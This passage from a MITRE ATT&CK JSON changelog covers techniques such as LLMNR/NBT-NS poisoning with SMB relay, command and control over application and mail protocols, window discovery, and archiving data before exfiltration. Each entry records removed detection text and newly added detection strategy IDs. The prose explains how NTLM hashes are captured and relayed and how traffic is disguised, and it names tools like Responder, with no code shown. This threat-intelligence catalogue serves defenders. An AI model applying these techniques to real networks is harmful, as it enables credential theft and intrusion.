"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Alex Spivakovsky, Pentera",
"Andrew Allen, @whitehat_zero"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"Windows",
"macOS"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Application Log: Application Log Content\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:49.941000+00:00\", \"old_value\": \"2025-04-15 22:13:20.292000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor network traffic for suspicious/malicious behavior involving DHCP, such as changes in DNS and/or gateway parameters. Additionally, monitor Windows logs for Event IDs (EIDs) 1341, 1342, 1020 and 1063, which specify that the IP allocations are low or have run out; these EIDs may indicate a denial of service attack.(Citation: dhcp_serv_op_events)(Citation: solution_monitor_dhcp_scopes)\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1031: Network Intrusion Prevention",
"M1037: Filter Network Traffic"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0015: Application Log (Application Log Content)",
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0468: Detect DHCP Spoofing Across Linux, Windows, and macOS"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-11 19:08:51.677000+00:00",
"modified": "2025-10-24 17:48:52.462000+00:00",
"name": "LLMNR/NBT-NS Poisoning and SMB Relay",
"description": "By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials. \n\nLink-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR)(Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords.\n\nIn some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv1/v2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay) Additionally, adversaries may encapsulate the NTLMv1/v2 hashes into various protocols, such as LDAP, SMB, MSSQL and HTTP, to expand and use multiple services with the valid NTLM response.\u00a0\n\nSeveral tools may be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174).(Citation: GitHub NBNSpoof)(Citation: Rapid7 LLMNR Spoofer)(Citation: GitHub Responder)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1557/001",
"external_id": "T1557.001"
},
{
"source_name": "Rapid7 LLMNR Spoofer",
"description": "Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.",
"url": "https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response"
},
{
"source_name": "GitHub Responder",
"description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.",
"url": "https://github.com/SpiderLabs/Responder"
},
{
"source_name": "Secure Ideas SMB Relay",
"description": "Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019.",
"url": "https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html"
},
{
"source_name": "TechNet NetBIOS",
"description": "Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November 17, 2017.",
"url": "https://technet.microsoft.com/library/cc958811.aspx"
},
{
"source_name": "GitHub NBNSpoof",
"description": "Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.",
"url": "https://github.com/nomex/nbnspoof"
},
{
"source_name": "GitHub Conveigh",
"description": "Robertson, K. (2016, August 28). Conveigh. Retrieved November 17, 2017.",
"url": "https://github.com/Kevin-Robertson/Conveigh"
},
{
"source_name": "byt3bl33d3r NTLM Relaying",
"description": "Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019.",
"url": "https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html"
},
{
"source_name": "Sternsecurity LLMNR-NBTNS",
"description": "Sternstein, J. (2013, November). Local Network Attacks: LLMNR and NBT-NS Poisoning. Retrieved November 17, 2017.",
"url": "https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning"
},
{
"source_name": "Wikipedia LLMNR",
"description": "Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution. Retrieved November 17, 2017.",
"url": "https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Eric Kuehn, Secure Ideas",
"Matthew Demaske, Adaptforward",
"Andrew Allen, @whitehat_zero"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Service: Service Creation\", \"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\", \"Windows Registry: Windows Registry Key Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:52.462000+00:00\", \"old_value\": \"2025-04-15 22:44:23.234000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\DNSClient for changes to the \\\"EnableMulticast\\\" DWORD value. A value of \\u201c0\\u201d indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)\\n\\nMonitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.\\n\\nDeploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\DNSClient for changes to the \\\"EnableMulticast\\\" DWORD value. A value of \\u201c0\\u201d indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)\\n-\\n-Monitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.\\n-\\n-Deploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)\"}}}",
"previous_version": "1.4",
"changelog_mitigations": {
"shared": [
"M1030: Network Segmentation",
"M1031: Network Intrusion Prevention",
"M1037: Filter Network Traffic",
"M1042: Disable or Remove Feature or Program"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0019: Service (Service Creation)",
"DS0024: Windows Registry (Windows Registry Key Modification)",
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0462: Detect LLMNR/NBT-NS Poisoning and SMB Relay on Windows"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:30:56.776000+00:00",
"modified": "2025-10-24 17:48:38.368000+00:00",
"name": "Application Layer Protocol",
"description": "Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nAdversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, DNS, or publishing/subscribing. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.(Citation: Mandiant APT29 Eye Spy Email Nov 22) ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1071",
"external_id": "T1071"
},
{
"source_name": "University of Birmingham C2",
"description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
},
{
"source_name": "Mandiant APT29 Eye Spy Email Nov 22",
"description": "Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.",
"url": "https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Duane Michael"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows",
"Network Devices",
"ESXi"
],
"x_mitre_version": "2.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:38.368000+00:00\", \"old_value\": \"2025-04-15 19:58:21.401000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)\"}}}",
"previous_version": "2.4",
"changelog_mitigations": {
"shared": [
"M1031: Network Intrusion Prevention",
"M1037: Filter Network Traffic"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0444: Detection of Command and Control Over Application Layer Protocols"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-15 16:21:45.131000+00:00",
"modified": "2025-10-24 17:48:48.564000+00:00",
"name": "Mail Protocols",
"description": "Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as SMTP/S, POP3/S, and IMAP that carry electronic mail may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the email messages themselves. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: FireEye APT28) ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1071/003",
"external_id": "T1071.003"
},
{
"source_name": "FireEye APT28",
"description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
"url": "https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
},
{
"source_name": "University of Birmingham C2",
"description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Don Le, Stifel Financial"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Network Devices",
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Don Le, Stifel Financial\"]}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:48.564000+00:00\", \"old_value\": \"2025-04-15 19:58:32.320000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1031: Network Intrusion Prevention"
],
"new": [
"M1037: Filter Network Traffic"
],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0135: Detection of Mail Protocol-Based C2 Activity (SMTP, IMAP, POP3)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:30:24.512000+00:00",
"modified": "2025-10-24 17:48:44.488000+00:00",
"name": "Application Window Discovery",
"description": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.(Citation: Prevailion DarkWatchman 2021) For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ([Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) to evade.(Citation: ESET Grandoreiro April 2020)\n\nAdversaries typically abuse system features for this type of enumeration. For example, they may gather information through native system features such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) commands and [Native API](https://attack.mitre.org/techniques/T1106) functions.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1010",
"external_id": "T1010"
},
{
"source_name": "ESET Grandoreiro April 2020",
"description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020.",
"url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/"
},
{
"source_name": "Prevailion DarkWatchman 2021",
"description": "Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.",
"url": "https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"Windows",
"macOS"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:44.488000+00:00\", \"old_value\": \"2025-04-15 21:49:50.019000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0097: Detection of Application Window Enumeration via API or Scripting"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-20 20:53:45.725000+00:00",
"modified": "2025-10-24 17:48:48.023000+00:00",
"name": "Archive Collected Data",
"description": "An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network.(Citation: DOJ GRU Indictment Jul 2018) Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.\n\nBoth compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1560",
"external_id": "T1560"
},
{
"source_name": "DOJ GRU Indictment Jul 2018",
"description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved November 17, 2024.",
"url": "https://cdn.cnn.com/cnn/2018/images/07/13/gru.indictment.pdf"
},
{
"source_name": "Wikipedia File Header Signatures",
"description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.",
"url": "https://en.wikipedia.org/wiki/List_of_file_signatures"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Script: Script Execution\", \"Process: Process Creation\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:48.023000+00:00\", \"old_value\": \"2025-04-15 21:50:30.319000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Archival software and archived files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\\n\\nA process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures.\\n\\nConsider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Archival software and archived files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\\n-\\n-A process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures.\\n-\\n-Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0012: Script (Script Execution)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0526: Detect Archiving and Encryption of Collected Data (T1560)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-20 21:09:55.995000+00:00",
"modified": "2025-10-24 17:48:26.190000+00:00",
"name": "Archive via Custom Method",
"description": "An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. Custom implementations of well-known compression algorithms have also been used.(Citation: ESET Sednit Part 2)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1560/003",
"external_id": "T1560.003"
},
{
"source_name": "ESET Sednit Part 2",
"description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
"url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Script: Script Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:26.190000+00:00\", \"old_value\": \"2025-04-15 21:50:49.814000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Custom archival methods can be very difficult to detect, since many of them use standard programming language concepts, such as bitwise operations.\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0012: Script (Script Execution)",
"DS0022: File (File Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0438: Detect Archiving via Custom Method (T1560.003)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-20 21:08:52.529000+00:00",
"modified": "2025-10-24 17:48:42.345000+00:00",
"name": "Archive via Library",
"description": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). Most libraries include functionality to encrypt and/or compress data.\n\nSome archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1560/002",
"external_id": "T1560.002"
},
{
"source_name": "libzip",
"description": "D. Baron, T. Klausner. (2020). libzip. Retrieved February 20, 2020.",
"url": "https://libzip.org/"
},
{
"source_name": "Zlib Github",
"description": "madler. (2017). zlib. Retrieved February 20, 2020.",
"url": "https://github.com/madler/zlib"
},
{
"source_name": "PyPI RAR",
"description": "mkz. (2020). rarfile 3.1. Retrieved February 20, 2020.",
"url": "https://pypi.org/project/rarfile/"
},
{
"source_name": "Wikipedia File Header Signatures",
"description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.",
"url": "https://en.wikipedia.org/wiki/List_of_file_signatures"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Script: Script Execution\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:42.345000+00:00\", \"old_value\": \"2025-04-15 21:51:09.003000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes for accesses to known archival libraries. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\\n\\nConsider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor processes for accesses to known archival libraries. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\\n-\\n-Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0012: Script (Script Execution)",
"DS0022: File (File Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0268: Detect Archiving via Library (T1560.002)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
